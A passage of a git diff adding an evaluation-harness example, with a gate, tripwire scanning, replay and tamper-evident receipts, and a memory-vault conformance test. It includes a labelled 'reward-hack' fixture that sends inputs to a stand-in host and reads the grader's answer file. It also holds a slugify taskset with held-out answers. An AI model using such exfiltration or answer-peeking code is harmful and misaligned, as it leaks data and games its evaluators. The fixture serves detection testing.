require('../../scripts/lib/eval-harness'); + +const here = __dirname; +const keep = process.argv.includes('--keep'); +const work = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-eval-harness-example-')); +const failures = []; + +function step(title, fn) { + process.stdout.write(`\n== ${title}\n`); + try { + fn(); + } catch (error) { + failures.push(`${title}: ${error.message}`); + process.stdout.write(` FAILED: ${error.message}\n`); + } +} + +function expect(condition, message) { + if (!condition) { + throw new Error(message); + } + process.stdout.write(` ok ${message}\n`); +} + +const config = JSON.parse(fs.readFileSync(path.join(here, 'gate.config.json'), 'utf8')); +const resolve = (relative) => path.join(here, relative); + +const capsuleDir = path.join(work, 'capsule'); +const capsule = harness.capsule.Capsule.create(capsuleDir, { + harness_version: 'ecc-example/1', + task_family: 'slugify', +}); + +step('Gate: execution unavailable without a verified OS backend', () => { + const gateWork = path.join(work, 'gate-candidate'); + let code; + try { + harness.gate.runGate({ + taskset: resolve(config.taskset), baseline: resolve(config.baseline), + candidate: resolve(config.candidate), work_dir: gateWork, capsule, + }); + } catch (error) { code = error.code; } + expect(code === 'gate.isolation_required', 'gate refuses before executing any variant'); + expect(!fs.existsSync(gateWork), 'no gate work directory or promotion receipt was created'); + capsule.append('plan', 'inspection.start', { task_family: 'slugify' }); + capsule.append('attempt', 'gate.unavailable', { status: 'blocked', reason: code }); + capsule.append('environment', 'isolation.unavailable', { status: 'unavailable' }); +}); + +step('Static inspection: digests and syntactic warnings', () => { + const candidate = harness.gate.loadVariant(resolve(config.candidate)); + expect(/^[0-9a-f]{64}$/.test(candidate.digest), 'candidate source has a content digest'); + const hack = harness.gate.loadVariant(resolve('variants/reward-hack')); + const hits = harness.gate.scanTripwires(hack); + const rules = new Set(hits.map(hit => hit.rule)); + expect(rules.has('hidden_network') && rules.has('checker_probe'), `static warnings: ${[...rules].join(', ')}`); + capsule.append('strategy', 'inspection.tripwires', { variant: hack.name, hits: hits.length }); +}); + +step('Replay: declared tools, fixtures, fail-closed on missing', () => { + const store = new harness.replay.FixtureStore(path.join(work, 'fixtures')); + const tools = { + read_inventory: { effect_class: 'SE0', determinism: 'deterministic', impl: (args) => ({ sku: args.sku, count: 42 }) }, + place_order: { effect_class: 'SE4', determinism: 'nondeterministic', impl: () => { throw new Error('must never run'); } }, + }; + const recorder = harness.replay.createReplayer(tools, { mode: 'record', store, maxEffectClass: 'SE2' }); + recorder.call('read_inventory', { sku: 'gpu-8x' }); + const replayer = harness.replay.createReplayer(tools, { + mode: 'replay', + store, + maxEffectClass: 'SE2', + onCall: (entry) => capsule.append('interaction', 'tool.call', { + tool: entry.tool, + status: entry.status, + ...(entry.fixture_key !== undefined ? { fixture_key: entry.fixture_key } : {}), + ...(entry.args_hash !== undefined ? { args_hash: entry.args_hash } : {}), + ...(entry.response_hash !== undefined ? { response_hash: entry.response_hash } : {}), + }), + }); + const replayed = replayer.call('read_inventory', { sku: 'gpu-8x' }); + expect(replayed.count === 42, 'replayed response matches the recorded fixture'); + let code = null; + try { replayer.call('read_inventory', { sku: 'never-recorded' }); } catch (error) { code = error.code; } + expect(code === 'tool.fixture_missing', 'missing fixture fails closed with tool.fixture_missing'); + code = null; + try { replayer.call('place_order', { sku: 'gpu-8x' }); } catch (error) { code = error.code; } + expect(code === 'tool.effect_forbidden', 'SE4 tool is refused with tool.effect_forbidden'); +}); + +let receipt; +step('Receipt: build, verify, export bundle', () => { + const projection = harness.capsule.writeProjection(capsuleDir); + expect(projection.entry_count > 0, `capsule holds ${projection.entry_count} entries across ${Object.values(projection.by_lineage).filter(Boolean).length} lineages`); + expect(Object.values(projection.by_lineage).every((count) => count > 0), 'all five lineages are present'); + receipt = harness.receipt.buildReceipt(capsuleDir, { + artifact_path: resolve('variants/candidate/run.js'), + }); + const bundle = harness.capsule.exportBundle(capsuleDir, path.join(work, 'bundle')); + const verdict = harness.receipt.verifyReceipt(receipt, bundle.dir, { + artifact_path: resolve('variants/candidate/run.js'), + }); + expect(verdict.ok, 'exported bundle verifies against the receipt without the source store'); + harness.receipt.writeReceipt(receipt, path.join(work, 'bundle', 'receipt.json')); +}); + +step('Tamper: one changed value fails at the exact entry', () => { + const tampered = path.join(work, 'tampered'); + harness.capsule.exportBundle(capsuleDir, tampered); + const journalPath = path.join(tampered, harness.capsule.JOURNAL_FILE); + const lines = fs.readFileSync(journalPath, 'utf8').split('\n'); + const target = lines.findIndex(line => line.includes('"kind":"gate.unavailable"')); + expect(target >= 0, 'refusal entry is present'); + lines[target] = lines[target].replace('"status":"blocked"', '"status":"altered"'); + fs.writeFileSync(journalPath, lines.join('\n'), 'utf8'); + const verify = harness.capsule.verify(tampered); + expect(!verify.ok && verify.failed_at === target, `verify fails closed at entry ${verify.failed_at} (${verify.code})`); + const receiptCheck = harness.receipt.verifyReceipt(receipt, tampered); + expect(!receiptCheck.ok && receiptCheck.check === 'journal_integrity', `receipt verification names the failing check: ${receiptCheck.check}`); +}); + +process.stdout.write(`\nwork dir: ${work}${keep ? ' (kept)' : ' (removed)'}\n`); +if (!keep) { + fs.rmSync(work, { recursive: true, force: true }); +} +if (failures.length > 0) { + process.stdout.write(`\n${failures.length} step(s) failed\n`); + process.exit(1); +} +process.stdout.write('\nall steps passed\n'); diff --git a/examples/eval-harness/taskset.json b/examples/eval-harness/taskset.json new file mode 100644 index 000000000..acbaa6674 --- /dev/null +++ b/examples/eval-harness/taskset.json @@ -0,0 +1,19 @@ +{ + "version": "slugify-tasks/1", + "family": "slugify", + "description": "Preserved deterministic string task data for static inspection. Candidate execution is unavailable; held-out labels do not imply a completed run.", + "tasks": [ + { "id": "t01", "input": "Hello World", "expected": "hello-world" }, + { "id": "t02", "input": " leading and trailing ", "expected": "leading-and-trailing" }, + { "id": "t03", "input": "Already-slugged", "expected": "already-slugged" }, + { "id": "t04", "input": "Multiple spaces here", "expected": "multiple-spaces-here" }, + { "id": "t05", "input": "Dashes -- doubled", "expected": "dashes-doubled" }, + { "id": "t06", "input": "Punctuation, please!", "expected": "punctuation-please" }, + { "id": "t07", "input": "under_score_case", "expected": "under-score-case" }, + { "id": "t08", "input": "Trailing dash-", "expected": "trailing-dash" }, + { "id": "t09", "input": "MiXeD CaSe 123", "expected": "mixed-case-123" }, + { "id": "t10", "input": "Café au lait", "expected": "cafe-au-lait", "held_out": true }, + { "id": "t11", "input": "naïve résumé", "expected": "naive-resume", "held_out": true }, + { "id": "t12", "input": "---", "expected": "", "held_out": true } + ] +} diff --git a/examples/eval-harness/variants/baseline/run.js b/examples/eval-harness/variants/baseline/run.js new file mode 100644 index 000000000..837be71b6 --- /dev/null +++ b/examples/eval-harness/variants/baseline/run.js @@ -0,0 +1,12 @@ +'use strict'; + +// Baseline variant. Deliberately incomplete so the candidate has regressions to avoid. +function solve(input) { + return String(input) + .trim() + .toLowerCase() + .replace(/[^a-z0-9\s-]/g, '') + .replace(/\s+/g, '-'); +} + +module.exports = { solve }; diff --git a/examples/eval-harness/variants/baseline/variant.json b/examples/eval-harness/variants/baseline/variant.json new file mode 100644 index 000000000..b619d5b3a --- /dev/null +++ b/examples/eval-harness/variants/baseline/variant.json @@ -0,0 +1,6 @@ +{ + "name": "slugify-baseline", + "effect_class": "SE0", + "entry": "run.js", + "note": "Known-weak baseline: no diacritic folding, no underscore handling, keeps doubled dashes." +} diff --git a/examples/eval-harness/variants/candidate/run.js b/examples/eval-harness/variants/candidate/run.js new file mode 100644 index 000000000..4f3ab52fd --- /dev/null +++ b/examples/eval-harness/variants/candidate/run.js @@ -0,0 +1,15 @@ +'use strict'; + +// Candidate variant. Pure function, no I/O, declared SE0. +function solve(input) { + return String(input) + .normalize('NFKD') + .replace(/[\u0300-\u036f]/g, '') + .toLowerCase() + .replace(/[_\s]+/g, '-') + .replace(/[^a-z0-9-]/g, '') + .replace(/-+/g, '-') + .replace(/^-|-$/g, ''); +} + +module.exports = { solve }; diff --git a/examples/eval-harness/variants/candidate/variant.json b/examples/eval-harness/variants/candidate/variant.json new file mode 100644 index 000000000..71a2483f1 --- /dev/null +++ b/examples/eval-harness/variants/candidate/variant.json @@ -0,0 +1,6 @@ +{ + "name": "slugify-candidate", + "effect_class": "SE0", + "entry": "run.js", + "note": "Honest candidate: folds diacritics, treats underscores as separators, collapses and trims dashes." +} diff --git a/examples/eval-harness/variants/reward-hack/run.js b/examples/eval-harness/variants/reward-hack/run.js new file mode 100644 index 000000000..2ba8c416c --- /dev/null +++ b/examples/eval-harness/variants/reward-hack/run.js @@ -0,0 +1,45 @@ +'use strict'; + +// Reward-hack fixture. Correct answers plus two things a gate must never accept: +// a hidden network call and an attempt to read the checker's taskset. +const fs = require('fs'); +const path = require('path'); + +function phoneHome(payload) { + try { + const https = require('https'); + const req = https.request({ hostname: 'example.invalid', path: '/collect', method: 'POST' }); + req.on('error', () => {}); + req.end(JSON.stringify(payload)); + } catch (_error) { + // Swallowed in this historical payload; no reliable fence log is assumed. + } +} + +function peekAtAnswers(input) { + try { + const raw = fs.readFileSync(path.join(process.cwd(), '..', '..', 'taskset.json'), 'utf8'); + const match = JSON.parse(raw).tasks.find((task) => task.input === input); + return match ? match.expected : null; + } catch (_error) { + return null; + } +} + +function solve(input) { + phoneHome({ input }); + const leaked = peekAtAnswers(input); + if (leaked !== null) { + return leaked; + } + return String(input) + .normalize('NFKD') + .replace(/[̀-ͯ]/g, '') + .toLowerCase() + .replace(/[_\s]+/g, '-') + .replace(/[^a-z0-9-]/g, '') + .replace(/-+/g, '-') + .replace(/^-|-$/g, ''); +} + +module.exports = { solve }; diff --git a/examples/eval-harness/variants/reward-hack/variant.json b/examples/eval-harness/variants/reward-hack/variant.json new file mode 100644 index 000000000..840b1b64c --- /dev/null +++ b/examples/eval-harness/variants/reward-hack/variant.json @@ -0,0 +1,6 @@ +{ + "name": "slugify-reward-hack", + "effect_class": "SE0", + "entry": "run.js", + "note": "Historical reward-hack source fixture with network and checker-probe warnings. Current utilities inspect it without execution; no score or fence-event claim." +} diff --git a/examples/unified-memory/README.md b/examples/unified-memory/README.md new file mode 100644 index 000000000..bc4cbb1b8 --- /dev/null +++ b/examples/unified-memory/README.md @@ -0,0 +1,115 @@ +# Cross-harness memory conformance example + +Run the existing ECC CLI and local stdio MCP server against one disposable +synthetic vault. The example checks that the same scoped query returns the same +ordered records, scores, excerpts, and provenance for each configured identity. + +From an ECC checkout with its runtime dependencies already available: + +```sh +node examples/unified-memory/conformance.cjs +``` + +No model, network, Graphiti service, package installation, or native harness +application is required. The example uses the existing Ajv dependency. It +creates temporary synthetic project, team, and user records, starts bounded +Node subprocesses, and removes the temporary vaults when finished. Existing +vault locations and ambient credential variables are not passed to children. + +## What runs + +The CLI creates a shared project record, team context, a Codex-targeted record, +a user record, and another project's record. Separate MCP processes configured +as `codex`, `claude`, and `hermes` each perform the same requests. These names +are host configuration in the example, not authenticated sessions in those +applications. + +The 24 checks cover: + +- Ordered CLI/MCP search parity and reproducibility after process restart. +- Stable IDs, scope, source attribution, timestamps, body, and unreviewed trust. +- Targeted read visibility and separate project roots. +- Rejection of client identity overrides, target-filter overrides, trust + promotion, and user access without host opt-in. +- Server-stamped Hermes handoff attribution, preserved memory links, and evidence + verification in both CLI-to-MCP and MCP-to-CLI directions. +- Source-content matching against a separate synthetic source catalog, with + tampered content/digest, missing-source and foreign-context rejection. +- Synthetic private-key marker rejection through CLI and MCP without changing + the recalled dataset. +- Explicit user-scope recall after operator opt-in. +- Failed startup when the host provides no identity. +- Source files and Git HEAD unchanged after execution. + +Success prints a JSON receipt with individual checks, timestamps, Node version, +source hashes, and the example's digest. Failure returns a nonzero exit status +without printing raw subprocess output or memory content. The source hashes +identify the executed files; Git HEAD alone does not prove that a checkout is +clean. Installed dependencies are reused and are not digest-pinned by this +example. This is focused conformance verification, not a full-suite result or +a deployment receipt. The source receipt includes the example verifier digest; + dependency identity and native-harness integration remain separate checks. + +## Contract and auth boundary + +The example reuses `ecc.memory.v1` without adding fields. Project and team are +the default scopes; user recall requires an explicit request and MCP host +opt-in. The host pins `ECC_MEMORY_HARNESS`; clients cannot supply their own +source identity or target filter through tool arguments. All writes remain +`unreviewed` context subordinate to current instructions. + +The fixture body uses `ecc.memory.example-evidence.v1`, an **example-local** +JSON envelope inside the existing Markdown body. No fields are added to +`ecc.memory.v1`. `evidence.cjs` checks a source reference, content digest, +observation time, session ID and checkpoint ID against an independent, +host-owned in-memory catalog. The envelope text must equal the catalog's exact +source bytes. There is no summary/derivation validation in this example. + +The verifier requires an exact workspace and scope match. Context is supplied +by the example host using the selected vault and returned memory scope; it is +not accepted from claims in the envelope. Only bounded `fixture:` identifiers +are supported, with no path/URL lookup, filesystem read, network fallback or +ambient source discovery. Missing evidence fails explicitly. Success returns +`source-content-match`, never a trust promotion. The original observation time +is compared to the catalog, not treated as proof of current factual validity. + +This verifies integrity relative to the host's catalog, not signed authorship, +identity authentication, an immutable journal or statement truth. An operator +who rewrites both catalog and memory can create another matching pair. The +catalog is synthetic, process-local and not a durable archive; references do +not promise continued source availability. The verifier does not execute +memory text or make it authoritative. All vault records remain `unreviewed`. + +Run the pure in-memory negative and boundary checks separately: + +```sh +node examples/unified-memory/evidence.test.cjs +``` + +These checks cover changed text, recomputed/altered digests, altered timestamps, +session/checkpoint substitutions, missing sources, workspace/scope mismatches, +unknown fields/schema, malformed/oversized envelopes and invalid host inputs. +They start no server and require only Node built-ins. The conformance runner +also saves two deliberately altered synthetic envelopes: core storage accepts +unreviewed context, while this example's verifier rejects those recalled bodies. +The verifier is not automatically enabled in core CLI/MCP save or recall paths. + +The private-key rejection fixture is a deliberately incomplete marker containing +no key material. It exercises the existing best-effort secret scanner, not a +complete privacy classifier or permission system. Never substitute private +transcripts, credentials or production records into the public example. + +`targetHarnesses` constrains MCP routing, not same-user filesystem access. The +CLI is an operator interface: direct CLI reads can access a targeted record +without a harness target filter, and the CLI can choose source attribution. +Separate OS accounts or equivalent filesystem isolation are necessary when +local processes are mutually untrusted. + +The example provides no unified OAuth, delegated credential lifecycle, plan +token routing, cross-machine synchronization, Graphiti partition policy, or +Hermes MemoryProvider integration. A future backend adapter must preserve the +existing record contract and enforce its authenticated partition policy +separately from routing metadata. + +See [the memory vault design](../../docs/design/ecc-memory-vault.md) for the +canonical storage and threat contract. diff --git a/examples/unified-memory/conformance.cjs b/examples/unified-memory/conformance.cjs new file mode 100644 index 000000000..a8fb424fe --- /dev/null +++ b/examples/unified-memory/conformance.cjs @@ -0,0 +1,246 @@ +'use strict'; + +// Runs existing ECC code against disposable synthetic vaults. No service or SDK installs. +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const os = require('node:os'); +const path = require('node:path'); +const crypto = require('node:crypto'); +const { spawnSync } = require('node:child_process'); +const { encodeEvidence, verifyEvidence } = require('./evidence.cjs'); + +const repo = path.resolve(__dirname, '../..'); +const sha256 = bytes => crypto.createHash('sha256').update(bytes).digest('hex'); +const cleanEnv = { PATH: process.env.PATH || '/usr/bin:/bin' }; +// Use the already installed Ajv; no package manager or network operation occurs. +let dependencyRoot; +try { + dependencyRoot = path.dirname(path.dirname(require.resolve('ajv/package.json'))); +} catch { + process.stderr.write('ECC memory example requires the existing Ajv runtime dependency.\n'); + process.exit(1); +} +const sourcePaths = [ + 'scripts/memory.js', 'scripts/memory-mcp.mjs', 'scripts/lib/memory-vault.js', + 'scripts/lib/memory-vault-format.js', 'scripts/lib/path-safety.js', + 'scripts/lib/missing-dependency.js', 'schemas/memory.schema.json', 'package.json', + 'examples/unified-memory/evidence.cjs', +]; +function snapshot() { + return Object.fromEntries(sourcePaths.map(file => [file, sha256(fs.readFileSync(path.join(repo, file)))])); +} +function sourceHead() { + const result = spawnSync('git', ['-C', repo, 'rev-parse', 'HEAD'], { + encoding: 'utf8', env: cleanEnv, timeout: 5000, maxBuffer: 1024, + }); + return result.status === 0 && /^[a-f0-9]{40}\s*$/.test(result.stdout) ? result.stdout.trim() : null; +} +const before = snapshot(); +const headBefore = sourceHead(); +const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-conformance-')); +const checks = []; +const startedAt = new Date().toISOString(); +function envFor(partition = 'alpha', harness = 'codex', allowUser = false) { + const cwd = path.join(root, partition); + fs.mkdirSync(cwd, { recursive: true }); + return { cwd, env: { ...cleanEnv, + NODE_PATH: dependencyRoot, + ECC_MEMORY_PROJECT_ROOT: path.join(cwd, 'vault'), + ECC_MEMORY_USER_ROOT: path.join(root, 'synthetic-user'), + ...(harness ? { ECC_MEMORY_HARNESS: harness } : {}), + ECC_MEMORY_ALLOW_USER_SCOPE: allowUser ? '1' : '0', + } }; +} +function run(script, args, input, options) { + return spawnSync(process.execPath, [path.join(repo, script), ...args], { + ...options, input, encoding: 'utf8', timeout: 10000, maxBuffer: 2 * 1024 * 1024, + }); +} +function cli(args, input = '', partition = 'alpha') { + const result = run('scripts/memory.js', [...args, '--json'], input, envFor(partition)); + assert.equal(result.status, 0, 'Synthetic CLI operation failed; raw output withheld'); + return JSON.parse(result.stdout); +} +function mcp(harness, calls, partition = 'alpha', allowUser = false) { + const frames = [ + { jsonrpc: '2.0', id: 1, method: 'initialize', params: { + protocolVersion: '2025-11-25', capabilities: {}, + clientInfo: { name: 'ecc-lane-conformance', version: '1.0.0' }, + } }, + { jsonrpc: '2.0', method: 'notifications/initialized', params: {} }, + ...calls.map(([name, args], index) => ({ jsonrpc: '2.0', id: index + 2, + method: 'tools/call', params: { name, arguments: args } })), + ]; + const result = run('scripts/memory-mcp.mjs', [], + frames.map(frame => JSON.stringify(frame)).join('\n') + '\n', envFor(partition, harness, allowUser)); + assert.equal(result.status, 0, 'Synthetic MCP process failed; raw output withheld'); + const responses = result.stdout.trim().split('\n').map(line => JSON.parse(line)); + assert.equal(responses.length, calls.length + 1, 'Missing or extra MCP response'); + assert.equal(responses[0].result.protocolVersion, '2025-11-25'); + return calls.map((_, index) => { + const response = responses.find(item => item.id === index + 2); + assert.ok(response, 'Missing correlated MCP response'); + return response; + }); +} +function payload(response) { + assert.equal(response.error, undefined, 'Unexpected JSON-RPC error'); + assert.notEqual(response.result.isError, true, 'Unexpected tool rejection'); + return JSON.parse(response.result.content.find(item => item.type === 'text').text); +} +function check(name, fn) { fn(); checks.push({ name, passed: true }); } +function save(title, scope = 'project', target = 'all', partition = 'alpha', body = 'Synthetic orbit evidence.') { + return cli(['save', '--title', title, '--scope', scope, '--source-harness', 'codex', + '--target', target, '--stdin'], body, partition).memory; +} + +try { + const sourceText = 'Synthetic fixture only: orbit project uses scoped memory.'; + // Kept separately from recalled content; memory cannot supply its own source catalog. + const sources = new Map([['fixture:orbit', Object.freeze({ workspace: 'alpha', scope: 'project', text: sourceText, + observedAt: startedAt, sessionId: 'fixture-session', checkpointId: 'fixture-checkpoint' })]]); + const evidenceContext = { workspace: 'alpha', scope: 'project' }; + const body = encodeEvidence('fixture:orbit', sources, evidenceContext); + const shared = save('orbit shared evidence', 'project', 'all', 'alpha', body); + const team = save('orbit team context', 'team'); + const targeted = save('orbit codex context', 'project', 'codex'); + const user = save('orbit user context', 'user'); + const other = save('orbit other project', 'project', 'all', 'beta'); + + for (const harness of ['codex', 'claude', 'hermes']) { + const result = mcp(harness, [ + ['memory_search', { query: 'orbit' }], + ['memory_read', { id: shared.id }], + ['memory_read', { id: targeted.id }], + ['memory_search', { query: 'orbit', scopes: ['user'] }], + ['memory_save', { title: 'spoof', body: 'Synthetic', sourceHarness: 'other' }], + ['memory_search', { query: 'orbit', targetHarness: 'codex' }], + ['memory_save', { title: 'trusted', body: 'Synthetic', trust: 'verified' }], + ['memory_read', { id: user.id, scope: 'user' }], + ['memory_save', { title: 'user write', body: 'Synthetic', scope: 'user' }], + ]); + check(`${harness}: CLI/MCP ordered search parity`, () => { + const expected = cli(['search', 'orbit', '--target-harness', harness]); + assert.deepEqual(payload(result[0]).results, expected.results.map(({ memory, score, excerpt }) => ({ memory, score, excerpt }))); + const ids = payload(result[0]).results.map(item => item.memory.id); + assert.ok(ids.includes(shared.id) && ids.includes(team.id)); + assert.equal(ids.includes(targeted.id), harness === 'codex'); + assert.ok(!ids.includes(user.id) && !ids.includes(other.id)); + }); + check(`${harness}: read preserves provenance and unreviewed trust`, () => { + const read = payload(result[1]).memory; + assert.equal(read.body, body); + for (const field of ['id', 'scope', 'sourceHarness', 'targetHarnesses', 'createdAt', 'updatedAt', 'trust']) { + assert.deepEqual(read[field], shared[field]); + } + assert.equal(read.trust, 'unreviewed'); + const cliRead = cli(['read', shared.id]).memory; + assert.deepEqual(verifyEvidence(read.body, sources, { workspace: 'alpha', scope: read.scope }), + verifyEvidence(cliRead.body, sources, { workspace: 'alpha', scope: cliRead.scope })); + }); + check(`${harness}: direct target visibility enforced by MCP`, () => { + if (harness === 'codex') assert.equal(payload(result[2]).memory.id, targeted.id); + else assert.equal(result[2].result.isError, true); + }); + check(`${harness}: scope elevation, identity spoofing and trust promotion rejected`, () => { + for (const response of result.slice(3)) assert.equal(response.error?.code, -32602); + }); + check(`${harness}: query reproducible across process restart`, () => { + assert.deepEqual(payload(mcp(harness, [['memory_search', { query: 'orbit' }]])[0]), payload(result[0])); + }); + } + check('MCP write identity and evidence survive CLI handoff read', () => { + sources.set('fixture:handoff', Object.freeze({ workspace: 'alpha', scope: 'project', text: 'Synthetic handoff.', + observedAt: startedAt, sessionId: 'fixture-hermes-session', checkpointId: 'fixture-handoff' })); + const handoffBody = encodeEvidence('fixture:handoff', sources, evidenceContext); + const saved = payload(mcp('hermes', [['memory_save', { title: 'handoff fixture', body: handoffBody, + kind: 'handoff', targetHarnesses: ['codex'], links: [shared.id] }]])[0]).memory; + assert.equal(saved.sourceHarness, 'hermes'); + assert.equal(saved.trust, 'unreviewed'); + const read = payload(mcp('codex', [['memory_read', { id: saved.id }]])[0]).memory; + assert.deepEqual(read.links, [shared.id]); + const cliRead = cli(['read', saved.id]).memory; + assert.equal(cliRead.body, handoffBody); + assert.equal(cliRead.sourceHarness, 'hermes'); + assert.equal(cliRead.trust, 'unreviewed'); + assert.deepEqual(verifyEvidence(cliRead.body, sources, { workspace: 'alpha', scope: cliRead.scope }), + verifyEvidence(read.body, sources, { workspace: 'alpha', scope: read.scope })); + }); + check('operator opt-in enables only explicit user recall', () => { + const result = mcp('hermes', [['memory_search', { query: 'orbit', scopes: ['user'] }], + ['memory_search', { query: 'orbit' }]], 'alpha', true); + assert.deepEqual(payload(result[0]).results.map(item => item.memory.id), [user.id]); + assert.ok(!payload(result[1]).results.some(item => item.memory.id === user.id)); + }); + check('separate project root excludes alpha records', () => { + const read = mcp('hermes', [['memory_search', { query: 'orbit' }], ['memory_read', { id: shared.id }]], 'beta'); + assert.deepEqual(payload(read[0]).results.map(item => item.memory.id), [other.id]); + assert.equal(read[1].result.isError, true); + }); + check('CLI direct read is operator access, not target authorization', () => { + assert.equal(cli(['read', targeted.id]).memory.id, targeted.id); + }); + check('missing configured identity prevents MCP startup', () => { + const result = run('scripts/memory-mcp.mjs', [], '', envFor('alpha', null)); + assert.equal(result.status, 1); + assert.match(result.stderr, /ECC_MEMORY_HARNESS/); + }); + check('recalled evidence rejects tamper, unavailable source and foreign context', () => { + const read = payload(mcp('codex', [['memory_read', { id: shared.id }]])[0]).memory; + const altered = JSON.stringify({ ...JSON.parse(read.body), text: 'Synthetic altered evidence.' }); + assert.throws(() => verifyEvidence(altered, sources, evidenceContext), { code: 'SOURCE_MISMATCH' }); + assert.throws(() => verifyEvidence(read.body, new Map(), evidenceContext), { code: 'SOURCE_UNAVAILABLE' }); + assert.throws(() => verifyEvidence(read.body, sources, { ...evidenceContext, workspace: 'beta' }), + { code: 'CONTEXT_MISMATCH' }); + assert.throws(() => verifyEvidence(read.body, sources, { ...evidenceContext, scope: 'user' }), + { code: 'CONTEXT_MISMATCH' }); + }); + check('stored altered content and digest fail evidence verification after MCP recall', () => { + for (const change of [{ text: 'Synthetic altered content.' }, { sha256: '0'.repeat(64) }]) { + const altered = JSON.stringify({ ...JSON.parse(body), ...change }); + const saved = save('evidence rejection fixture', 'project', 'all', 'alpha', altered); + const read = payload(mcp('hermes', [['memory_read', { id: saved.id }]])[0]).memory; + assert.equal(read.id, saved.id); + assert.equal(read.body, altered); + assert.equal(read.trust, 'unreviewed'); + assert.throws(() => verifyEvidence(read.body, sources, { workspace: 'alpha', scope: read.scope }), + { code: 'SOURCE_MISMATCH' }); + } + }); + check('synthetic private-key marker rejected without changing recalled dataset', () => { + // Deliberately incomplete synthetic marker; never a real key or private input. + const marker = '-----BEGIN PRIVATE KEY-----\nSynthetic non-key fixture.'; + const beforePrivacy = cli(['search', 'orbit', '--target-harness', 'codex']).results; + const cliDenied = run('scripts/memory.js', ['save', '--title', 'orbit rejected fixture', '--stdin', '--json'], + marker, envFor()); + assert.equal(cliDenied.status, 1, 'Synthetic sensitive write must be rejected'); + assert.equal(cliDenied.error, undefined, 'CLI rejection must not be a subprocess failure'); + assert.match(cliDenied.stderr, /suspected secret/i); + const mcpDenied = mcp('codex', [['memory_save', { title: 'orbit rejected fixture', body: marker }]])[0]; + assert.equal(mcpDenied.result.isError, true, 'Synthetic sensitive write must be a tool rejection'); + const rejection = JSON.parse(mcpDenied.result.content.find(item => item.type === 'text').text); + assert.equal(rejection.error.code, 'MEMORY_WRITE_REJECTED'); + assert.equal(rejection.error.message, 'Memory operation rejected a suspected secret.'); + assert.deepEqual(cli(['search', 'orbit', '--target-harness', 'codex']).results, beforePrivacy); + assert.deepEqual(payload(mcp('codex', [['memory_search', { query: 'orbit' }]])[0]).results, beforePrivacy); + }); + check('source files and HEAD unchanged after execution', () => { + assert.deepEqual(snapshot(), before); + assert.equal(sourceHead(), headBefore); + }); + process.stdout.write(JSON.stringify({ schemaVersion: 'ecc.memory.conformance.receipt.v1', + status: 'passed', startedAt, completedAt: new Date().toISOString(), nodeVersion: process.version, + source: { head: headBefore, files: before, + executionMode: 'local source files with existing dependencies; no fetch performed', + identityBoundary: 'File digests identify executed source; HEAD alone does not establish a clean tree.' }, + exampleSha256: sha256(fs.readFileSync(__filename)), checks, + evidenceBoundary: 'Synthetic real CLI/stdio execution. No live harness, Graphiti, OAuth, replication or deployment verification.', + }, null, 2) + '\n'); +} catch (error) { + // Never print raw process output or assertion values into the receipt. + process.stderr.write(JSON.stringify({ status: 'failed', passedChecks: checks.map(item => item.name), + errorType: error.name, message: 'Conformance failed after the listed checks; inspect the next synthetic operation.' }) + '\n'); + process.exitCode = 1; +} finally { + fs.rmSync(root, { recursive: true, force: true }); +} diff --git a/examples/unified-memory/evidence.cjs b/examples/unified-memory/evidence.cjs new file mode 100644 index 000000000..ba12aaf92 --- /dev/null +++ b/examples/unified-memory/evidence.cjs @@ -0,0 +1,79 @@ +'use strict'; + +// Example-only integrity checks. A host-owned catalog is not an identity provider. +const { createHash } = require('node:crypto'); +const SCHEMA = 'ecc.memory.example-evidence.v1'; +const MAX_BODY_BYTES = 16 * 1024; +const MAX_TEXT_BYTES = 8 * 1024; +const ENVELOPE_KEYS = ['schema', 'sourceRef', 'sha256', 'text', 'observedAt', 'sessionId', 'checkpointId']; +const SOURCE_KEYS = ['workspace', 'scope', 'text', 'observedAt', 'sessionId', 'checkpointId']; +const slug = value => typeof value === 'string' && /^[a-z][a-z0-9-]{0,63}$/.test(value); +const sourceRefIsValid = value => typeof value === 'string' && /^fixture:[a-z][a-z0-9-]{0,63}$/.test(value); +const digest = text => createHash('sha256').update(text, 'utf8').digest('hex'); + +function fail(code) { + const error = new Error(`Memory example evidence: ${code}`); + error.code = code; + throw error; +} +function hasExactKeys(value, keys) { + return value !== null && typeof value === 'object' && !Array.isArray(value) + && Object.keys(value).length === keys.length && keys.every(key => Object.hasOwn(value, key)); +} +function validObservation(value) { + if (typeof value !== 'string' || !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/.test(value)) return false; + const date = new Date(value); + return Number.isFinite(date.getTime()) && date.toISOString() === value; +} +function validSourceFields(value) { + return typeof value.text === 'string' && value.text.length > 0 && value.text.length <= MAX_TEXT_BYTES + && Buffer.byteLength(value.text, 'utf8') <= MAX_TEXT_BYTES + // eslint-disable-next-line no-control-regex -- Intentionally reject C0 except tab/LF/CR, and DEL. + && !/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f]/.test(value.text) + && validObservation(value.observedAt) && slug(value.sessionId) && slug(value.checkpointId); +} +function validateEnvelope(value) { + if (!hasExactKeys(value, ENVELOPE_KEYS) || value.schema !== SCHEMA || !sourceRefIsValid(value.sourceRef) + || typeof value.sha256 !== 'string' || !/^[a-f0-9]{64}$/.test(value.sha256) || !validSourceFields(value)) { + fail('INVALID_ENVELOPE'); + } +} +function getSource(sourceRef, catalog, context) { + if (!hasExactKeys(context, ['workspace', 'scope']) || !slug(context.workspace) + || !['project', 'team', 'user'].includes(context.scope)) fail('INVALID_CONTEXT'); + if (!(catalog instanceof Map) || !sourceRefIsValid(sourceRef)) fail('INVALID_SOURCE'); + const source = catalog.get(sourceRef); + if (source === undefined) fail('SOURCE_UNAVAILABLE'); + if (!hasExactKeys(source, SOURCE_KEYS) || !validSourceFields(source) || !slug(source.workspace) + || !['project', 'team', 'user'].includes(source.scope)) fail('INVALID_SOURCE'); + if (source.workspace !== context.workspace || source.scope !== context.scope) fail('CONTEXT_MISMATCH'); + return source; +} +function decode(body) { + if (typeof body !== 'string' || body.length > MAX_BODY_BYTES || Buffer.byteLength(body, 'utf8') > MAX_BODY_BYTES) { + fail('INVALID_ENVELOPE'); + } + let value; + try { value = JSON.parse(body); } catch { fail('INVALID_ENVELOPE'); } + validateEnvelope(value); + return value; +} + +function encodeEvidence(sourceRef, catalog, context) { + const source = getSource(sourceRef, catalog, context); + const body = JSON.stringify({ schema: SCHEMA, 